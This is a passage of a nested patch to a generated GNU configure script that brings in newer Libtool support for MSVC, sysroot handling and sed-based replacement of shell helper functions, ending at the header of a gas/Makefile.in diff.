+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10141,8 +10732,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10175,13 +10767,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11083,7 +11733,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11086 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11127,10 +11777,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11189,7 +11839,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11192 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11233,10 +11883,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -17390,13 +18040,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -17411,14 +18068,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -17451,12 +18111,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -17511,8 +18171,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -17522,12 +18187,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -17543,7 +18210,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -17579,6 +18245,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -18352,7 +19019,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -18455,19 +19123,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -18497,6 +19188,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -18506,6 +19203,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -18620,12 +19320,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -18712,9 +19412,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -18730,6 +19427,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -18762,210 +19462,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/gas/Makefile.in b/gas/Makefile.in
+index bc25765cb5b..c481d96a05a 100644
+--- a/gas/Makefile.in
